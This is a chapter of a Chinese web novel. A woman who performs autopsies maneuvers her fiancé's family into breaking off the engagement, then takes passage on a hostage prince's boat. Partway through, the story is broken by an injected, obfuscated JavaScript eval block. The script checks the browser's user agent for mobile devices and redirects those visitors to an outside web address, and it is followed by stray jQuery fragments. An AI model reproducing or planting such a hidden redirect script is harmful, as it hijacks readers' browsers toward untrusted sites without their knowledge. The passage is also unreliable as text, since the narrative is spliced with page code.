李久东忙抚着自己父亲后背,哭丧着脸道:“爹,您就老实告诉我吧,到底给我订的什么样的人家啊!这赵云眉真是宗室女吗?”
李父没见过赵云眉,刚刚只是被河边验尸女人近距离嗅秽物的举动给恶心到了。
听到李久东提到赵云眉,他吐完喘着粗气,缓了半晌才道:“你怎么扯上赵云眉了?”
李久东苦着脸道:“楼下验尸的女人就是赵云眉啊!我认得她的!”
李老爷愣住了:“不要胡说!我现在就叫人去打听,那下面验尸的是谁?莫不是你看花了眼?”
等下人打听回来,确定就是青羊镇的赵云眉时,李父脸色都白了。
李久东知道自己父亲是真被吓到了。验尸没结束,父子俩就匆匆离去。
离开前,李父还意味深长地看了赵云眉一眼。
赵云眉正好起身换气,目光与李父对上,看着李家父子匆忙离开的身影,赵云眉眼角微微一眯,很是满意。
赵云眉知道,事成了。
一直到缝合完毕,赵云眉都没有再戴面巾。
此时赵云眉没有注意到远处的河面上停了一艘船,船舱里斜卧着一俊朗男子,他正掀窗歪着脑袋眯眼仔细瞧着赵云眉。
船头艄公模样的人瘸着腿钻进来,告诉俊朗男子河面上不给通行,说完又小声道:“王妃给您指了条路,向赵家皇帝求亲,带着新娘子回去完婚。”
男子眼神淡漠,看不出喜怒。
“公子,宜早不宜迟,王妃说,王老了...现在需要您...为质十五年,也该回去了...”艄公的声音压得更低了。
外面传来其他船公的呼喝声,应该是验尸结束,河面允许通行了。瘸腿船公起身走了出去。
船舱里,男子躺了下来,轻轻闭上了眼。
他明白王妃的意思,上次两国交战,北周败了,五岁的陆玄雍被作为质子送到南梁求和。至此,两国相安了十五年。
十五年了,王上该有六十岁了。这么多年母妃在替自己周旋积蓄力量,就是想争取一把。
北周也来了两次信,请求迎回质子,可南梁皇帝始终没点头。
这次王妃给陆玄雍出主意,让他向南梁皇帝求娶公主,一来自降身份打消对方疑虑,二来,说不定回去争大位时,南梁能看在这一点给点助力。
陆玄雍面容俊朗,身形高大,十足十的美男子,南梁不少贵女私下都传过情诗给他,要不是身份敏感,说不定早娶了哪位贵女了。
赵云眉验完后,断定对方喝了桂花酒。酒是能闻出味来的,夏仵作怎么也不相信是自己妹妹主动喝的,而且夏仵作也打听过,附近店家没见到自己妹妹去买酒。
赵云眉想了想,问道:“如果是冰的呢?能闻出来吗?”
酒冰冻后,就是烧刀子也觉甘甜冰爽,不觉丝毫辛辣刺鼻,喝下去很是容易。
夏仵作愣住了,他也闻了闻那些秽物,确定有酒味。
但现在这个时节冰镇成本很高,不是寻常百姓花费得起的。
夏姑娘的死很快查明了。
年初时,夏姑娘去庙里与县老爷的女儿相谈甚欢,两人相约春后在船上再见面。
到了日子,县老爷女儿从家里带了一罐桂花冬酿来,八月的桂花,腊月的冰窖,如今是开春,这冬酿刚从窖里寒冰中拿出来,冰冰凉凉的,就着边炉热菜喝下正好。冰酿其实也是低度酒,冰冻后闻不出酒味,县老爷的女儿也只当个冰甜水。冰酿是稀罕物,散了凉气口味就差了,所以两人一见面就赶紧喝上了。事后县老爷女儿先行离去,船家发现夏姑娘落水时已经晚了。船家是做生意的,不想被人知道自己船上的客人出了事,就没有声张。县老爷的女儿是个闺阁中人,也害怕扯上自己,也没有吭声。
涉及到县老爷女儿的名声,这件事被按下,准备私下解决。
外面并不知这些,赵云眉因为参与了验尸,夏仵作向她透露了一点。
谣言还在流传,李家还在惶恐中。赵云眉回去后思量一番,托人带了封信给李老爷,信里以关心的口吻询问李久东有没有跟夏姑娘扯不清,并隐约提到了李公子的风流往事,透着几分对这门婚事不满之意。
这封信,既可以看成是赵云眉作为未过门的媳妇对未来夫婿风流事的关心,又可以看作赵云眉作为验尸人对案子的询问,于私于公都很是合理。
李老爷看完后,沉默了,这封信看似是关心询问,实则是质问威胁。验尸毕竟是赵云眉操刀的,苦主夏仵作又跟赵云眉有点交情,这案子是不是完全扯不上自己儿子,赵云眉也许能帮着说上一两句话。
李老爷沉思良久,叹道:“一石二鸟,直抵七寸,赵家姑娘非池中之物!李久东,你是个没福的,配不上这个姑娘!”
李老爷不敢怠慢,当即回了一封信,一来替自己儿子辩解求情,二来,顺着赵云眉话中之意,透出退婚之意。
女子被退婚,实在是有伤名声。李老爷言词婉转,表达出自己儿子德行亏欠,由赵家提出退婚,聘礼任由赵家处理。
接到信,赵云眉生怕李家反悔,当即就要回去办理退婚事宜。
当夜,春雨绵绵,道路泥泞。为了节省时间,赵云眉决定走水路。
正是春寒时,船家早早歇了,都不愿走远,得知去青羊镇,个个摆手,说明日一早雨停了再走。
赵云眉在岸边正急恼时,见不远处有艘小船,摇摇晃晃向河中驶去,显然是准备赶路了,那方向正好是往青羊镇的。
赵云眉大声呼喊船头的艄公:“老先生!还请捎带我一程!银钱好说!”
岸边船家笑道:“姑娘,那是私家船只,船上就一浪荡公子,人家踏春巡游的,哪有空送你哦!”
赵云眉急道:“好叔叔,我这声喊怕是人家听不到,你帮我过去拦住,问上一问!我这有请了!”说着,赵云眉塞了几枚铜钱到对方手里。
对方一笑,收下后,撑船赶了过去。
陆玄雍早听到赵云眉的呼喊了,他有心事,压根不想搭理。而且,他急着赶回京城。
船头,一个瘸腿船公恼怒地赶人,来人哀求着:“那姑娘是家中独女,家里老娘突然死了,她急着回去奔丧,很是可怜的!你们就行行好吧!”
陆玄雍掀开窗,向岸上看了一眼,当即就认出了岸边的女子正是白天操刀验尸之人。
陆玄雍放话,让船靠岸。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129530|196199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
赵云眉千恩万谢地上了船,瘸腿船公嘟囔道:“你一个姑娘家家的,天黑了独自一人出门就算了,还搭陌生人的私家船,就不怕么!”
赵云眉边往舱里钻边道:“没办法,有点急事。大爷,我不怕的,你们不像坏人。”
刚进舱,赵云眉愣住了。
这船看起来很普通,只是比岸边渡船稍微大点,但没想到里面却不同。茶几茶具矮床桌椅,虽小却一应俱全,皮毛坐垫精致漂亮,熏香茶点香气四溢。塌上一个男人侧躺着,托着脑袋打量着她。对方着装一般,但眉眼清俊,眼神疏离淡漠,一副拒人与千里之外的样子。
面对这审视的目光,赵云眉突然有点后悔,觉得确实不该上来,或者,不该钻进舱来。
这里面空间不大,已经全部利用起来,正好够一个人使的。
赵云眉看了一眼椅子,那椅子离矮塌太近了,自己总不好坐到对方面前去。
赵云眉屈了屈膝,客气道:“公子安好!我叫赵云眉,青羊镇琉璃街人,家中有急事,搭贵船走上一程,实在感谢,这是点谢意,还请不要嫌弃!”
赵云眉说着,已经从包里翻出一点碎银,伸手往茶几上放去。
陆玄雍没动,微微笑道:“不用了,你留着吧,家里办丧事也是要花钱的!”
赵云眉愣了一下:“办丧事?”
“你不是急着奔丧么?”
奔丧?赵云眉差点气倒,知道是刚刚那个船家骗了陆玄雍,但这个理由实在是...缺德...
赵云眉忍住没解释,想着只要把事办成就行,管他什么理由呢。
看出对方是个不缺钱的主,赵云眉道谢后便把银钱往包里塞。
“姑娘,你这大晚上一个人出门,就不怕遇到坏人么?最近这河里才死过一个姑娘的。”陆玄雍见赵云眉沉默了,心里突然觉得她可怜,坐起来问道。
陆玄雍犹豫着,要不要让赵云眉在椅子上坐着等。
“不怕的...我...”赵云眉因为是站在的,银钱往包里不太好塞。
话没说完,只听哗啦一声,接着是丁零当啷声,赵云眉和陆玄雍都愣住了。
昏暗的烛光下,只见一地的寒光闪闪,赵云眉包裹里的刀具散落了一地。
听到声音,瘸腿船公迅速窜进来,看到满地刀具,一把捏住赵云眉手腕,喝道:“你这是干甚!”
赵云眉慌忙解释道:“不好意思,这是给牲口治病用的,是不是吓到你们了!”
陆玄雍摆手示意船公放手。
“哼!吓到我们?那你也太小瞧我们了!我给你一件蓑衣,你去船头坐着吧!青羊镇也不远,到了你就下去吧!”船公甩了手,让赵云眉赶快收拾好去外面。
待两人出去,陆玄雍躺了下来,忍不住笑了笑,心道,怪不得这赵云眉不怕呢,带了这一包的刀,平时能给牲口治病,想来力气也是有点的。再加上她都敢验尸了,还有什么不敢的。
外面下着小雨,赵云眉坐在船头,跟瘸腿船头有一搭没一搭地聊着。
问对方公子姓甚名谁,哪家的,以后有机会总要谢上一谢。
船公斜眼一瞥,冷哼一声没搭话。